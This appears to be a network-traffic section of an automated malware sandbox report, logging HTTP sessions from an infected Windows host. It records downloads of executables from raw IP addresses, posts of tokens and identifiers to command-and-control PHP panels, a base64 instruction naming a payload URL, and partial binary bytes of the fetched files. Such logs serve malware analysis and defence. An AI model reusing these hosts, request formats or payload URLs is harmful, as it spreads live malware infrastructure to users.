Nov 22, 2024 14:44:06.119139910 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49949	185.215.113.16	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:44:06.244031906 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 22, 2024 14:44:07.668382883 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: application/octet-stream Content-Length: 1881088 Last-Modified: Fri, 22 Nov 2024 13:41:15 GMT Connection: keep-alive ETag: "674089fb-1cb400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPJ@JZ@WkH3JP3J @.rsrcH@.idata @ )@fydbnmjr0@ftxffxns@J@.taggant0PJ"@
Nov 22, 2024 14:44:07.668421984 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:44:07.669112921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:44:07.669162989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:44:07.669173956 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:44:07.669915915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:44:07.669969082 CET	1236	IN	Data Raw: 50 50 69 8f 4f 3e 14 f1 d5 a1 43 7a 51 35 2f a6 0e 81 43 ee 60 b4 67 92 a1 c3 88 bf 93 8d 25 2d 62 31 13 b1 4a bd a1 be 5f 85 45 b0 ce e5 23 ae 1d b3 14 be 07 95 50 e6 6e f1 70 08 d0 81 0b 71 fc a1 52 ca 47 01 46 b4 8e e5 43 6e 50 34 be 60 98 71 Data Ascii: PPiO>CzQ5/C`g%-b1J_E#PnpqRGFCnP4`q@!R_ENC.allq!nrT-`r!6=0e! iuoq9"5sP/CQ"^Hm08rQ`i"3Qp.H&@a7_S4MqA
Nov 22, 2024 14:44:07.669980049 CET	248	IN	Data Raw: 73 dd f2 71 1b 29 50 82 05 59 fa 3e 0a 70 58 3e 07 67 3e 12 45 51 3f ce a5 20 d8 46 f3 97 16 64 e8 ae fd 9d b5 6a c7 b1 0c bf 05 21 ec 79 f2 40 44 42 24 ee cb 52 67 0b 54 a7 05 ce 75 fc 6c f5 7f 79 09 01 00 83 e9 da 10 da 3a a7 9d 91 8f 0b 81 46 Data Ascii: sq)PY>pX>g>EQ? Fdj!y@DB$RgTuly:F!yZ<cReD6OA9 tbu/R"gMgQ=vbeBZqE["8ZIW"jWl)sG(}A(e3I4;q
Nov 22, 2024 14:44:07.670622110 CET	1236	IN	Data Raw: 83 74 69 b0 34 a9 cb 71 82 63 41 2a ec e6 09 3a 45 dd 99 a2 5a e4 d0 7d c2 f1 c8 6e 4f c4 c2 02 b5 76 dc 84 32 71 10 95 bd 69 50 0b 49 79 fa 4c a0 98 00 b4 9f 65 0b ab 55 92 4a 87 81 88 81 3a 58 a3 14 17 6c e1 55 55 d8 e7 45 c1 e9 31 e2 69 51 2d Data Ascii: ti4qcA:EZ}nOv2qiPIyLeUJ:XlUUE1iQ-G!7d~"/>cfiYQ,`J<-gSTAP0tqCMW;_{.{T8u;pct3}eX!wv^fK)R' tp
Nov 22, 2024 14:44:07.670717955 CET	1236	IN	Data Raw: 9d 60 99 c4 79 01 f4 3d 9d ef d8 4e a5 a2 c2 f0 ef 15 74 b1 0b 75 47 0a d7 c3 c0 ea 41 0f a9 b2 ed 41 48 b6 c0 69 54 d4 96 93 46 73 20 5e 35 0e e4 d6 50 ac c6 62 d8 08 30 60 ed 85 b6 c9 b4 39 49 97 12 3b b8 a5 72 0e 4f 49 9c 15 d1 f7 ad 9c f8 5a Data Ascii: `y=NtuGAAHiTFs ^5Pb0`9I;rOIZAFq<0ANj{#DqiFYk}od;`<tnN'Y0dBw<5>cvxCkv}nK$VvH"JtbI
Nov 22, 2024 14:44:07.788162947 CET	1236	IN	Data Raw: 12 d5 40 5f 21 63 5d 7b 56 82 8c c0 d8 31 67 0b 2e a7 01 9c 8d ec 56 40 91 b3 e9 0a a8 22 c9 85 d0 61 43 c5 43 7c c0 26 88 3b 04 4d 28 bb 45 8c 34 e6 26 b5 00 03 f6 bf 1c ac 0a a8 9e fe e1 f6 4b 64 cf 07 8f 65 5f dd 29 24 7d 7b 46 49 4c b1 75 4b Data Ascii: @_!c]{V1g.V@"aCC\|&;M(E4&Kde_)$}{FILuK ~QfcdcBS.Q9gI5b~b.F?L}1K_c)SZ,\|I^bDg9Y]=}d fJUJOjv:`>kCB)N\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49966	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:44:11.529175043 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKFCBAEHCAEGDHJKFHJK--
Nov 22, 2024 14:44:13.422266006 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50093	185.215.113.43	80	7044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:05.192120075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 14:45:06.536871910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:45:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50102	185.215.113.43	80	7044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:08.172791958 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 22, 2024 14:45:09.581686020 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 31 39 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 32 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 32 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 32 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008198001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008203001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008204001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008205001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008206001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50105	31.41.244.11	80	7044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:09.706449032 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 22, 2024 14:45:11.044322014 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:45:10 GMT Content-Type: application/octet-stream Content-Length: 4418560 Last-Modified: Fri, 22 Nov 2024 12:56:14 GMT Connection: keep-alive ETag: "67407f6e-436c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c5 00 00 04 00 00 33 93 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 87 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 87 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@3C@ _qsP px'@.rsrc p'@.idata q'@ 8q'@dpzksbhx'@lepvnhmeDC@.taggant0"JC@
Nov 22, 2024 14:45:11.044339895 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:11.044384003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:11.044404984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:11.044416904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:11.044429064 CET	672	IN	Data Raw: e0 2b 7c d1 af 66 06 3c 38 ac dd 5e ae 54 a0 16 b5 d2 d5 27 f8 38 5a 95 d8 73 5d 12 bd 2c 92 d5 0e 54 e5 8e 54 f7 83 e9 83 ff f2 7a 57 0d 6d 64 dd 9d 52 ce 3c f0 17 25 27 a4 0a b8 bb f8 12 cd 9f 91 44 1e 6d 61 d2 6d 5e 05 84 db 18 ce 9a 5c e9 b3 Data Ascii: +\|f<8^T'8Zs],TTzWmdR<%'Dmam^\e{i;u>hUY=A7_J%9nmsQ}QP}ZCk4UK9wT<rbr8Y#^Q,?9h-{&Q%,F/7.rm7by&lV@j
Nov 22, 2024 14:45:11.044461966 CET	1236	IN	Data Raw: 77 de ec 1d 0f ef 4a a1 e3 36 56 1f 28 ee 53 ba 8a 71 27 25 24 a2 25 78 f3 ed 18 ef f3 9e 37 9d 35 6d 08 36 4f a0 99 48 36 9d e3 e4 f0 a4 09 c2 59 14 05 9b 2d 41 bd 94 a7 4c 17 83 b3 1d 79 bf ec 77 a8 e7 f1 ae 1f ed 72 94 67 ab 97 ce 82 86 6b 91 Data Ascii: wJ6V(Sq'%$%x75m6OH6Y-ALywrgkVRZ(dO!e<1^R-U+cXuOWUVC\d QY+m)(cUzTzqVNO{6"[4\f$#Tm:oz/;Z<gv1="V<
Nov 22, 2024 14:45:11.044476986 CET	1236	IN	Data Raw: 55 1d 13 d6 21 80 87 dc 87 91 8e 46 33 1a 3e 7a 78 01 5b 23 0f dd d6 28 76 32 1a f2 8f 84 43 7a 33 e6 ed 95 8c 34 d8 6b 40 a9 4a a1 67 8d 44 29 83 8f 03 6c a0 1c fa 2d 6d 8d 1b f7 4a fc 63 4d 5e b9 c0 75 4d c4 ff 16 34 5d 62 39 ab e6 d4 38 82 9b Data Ascii: U!F3>zx[#(v2Cz34k@JgD)l-mJcM^uM4]b98S{?>Qt?`+cG-[C=MT?LkUjBOs&3\[M5N\|"yy+\|[k#y\|=T"52UG=RT)Y6)Wa2]B@(d
Nov 22, 2024 14:45:11.044490099 CET	448	IN	Data Raw: 70 61 e2 8d 3a f2 83 c2 a7 ac df c8 34 b0 01 d6 a3 eb ed 82 93 97 ed 34 8c e0 ff db f1 9d eb bd a4 44 fa 73 ad d2 b2 1b 8a 2f c6 98 45 d6 0a f2 ce cb 0b 3a d0 dc c8 e7 67 41 a5 8f c3 4d fe 61 c8 01 f1 9c b5 0b e5 fd b4 45 62 ad fa 57 b1 84 30 c7 Data Ascii: pa:44Ds/E:gAMaEbW0\|9$!N#l!D$6@>MH:R~C]d4COd))%0[]j8jVPnLa+\haSFQ4QU@t.Zk!rT)rKWj
Nov 22, 2024 14:45:11.044503927 CET	1236	IN	Data Raw: a5 14 62 ec 94 7f 63 2b f2 f9 d4 5f fb b7 83 07 32 e1 5d 94 33 d3 10 e4 3f 9d 4b aa 57 30 cf 67 f5 fe 6c da 90 a2 93 33 8c fd 94 0d bd bf 86 f1 d2 68 c9 e1 b8 75 4a 2a 82 b9 53 18 3e f9 5a c6 6b a0 4e ed 40 2e 69 b1 89 8c cc bb 33 f2 9d 03 d7 51 Data Ascii: bc+_2]3?KW0gl3huJS>ZkN@.i3QV^5QaDE30\|p;l7S8e~Y0}{O*!'4R[\|U'8"C5dW1SNnPoLA\|UY}?V.]3 q-4~J7
Nov 22, 2024 14:45:11.168026924 CET	1236	IN	Data Raw: bd f9 89 e8 f1 83 f6 fa 58 8f 22 1d 86 35 67 40 45 da 4f 12 41 94 06 23 24 b1 0b 25 96 f3 87 97 8c 77 f7 ed cc aa 3b 46 15 69 d6 e2 b4 04 d1 e0 0f 95 92 d1 41 96 57 cd 6b 3c 06 ec 4f c1 0b 22 68 84 d6 80 34 c0 f2 e9 a8 37 58 ec 8b 99 f2 e7 3f 3c Data Ascii: X"5g@EOA#$%w;FiAWk<O"h47X?<w^BP#>r^@2+gopg`eB!$5aSc=qWl1La"Z0y6k"c%!^:]c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50131	185.215.113.43	80	7044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:20.550009966 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 31 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008198001&unit=246122658369
Nov 22, 2024 14:45:21.940294981 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:45:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50133	34.116.198.130	80	8240	C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:21.343750000 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 22, 2024 14:45:22.806111097 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Fri, 22 Nov 2024 13:45:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 22, 2024 14:45:22.806181908 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 22, 2024 14:45:22.806217909 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 22, 2024 14:45:22.806252003 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
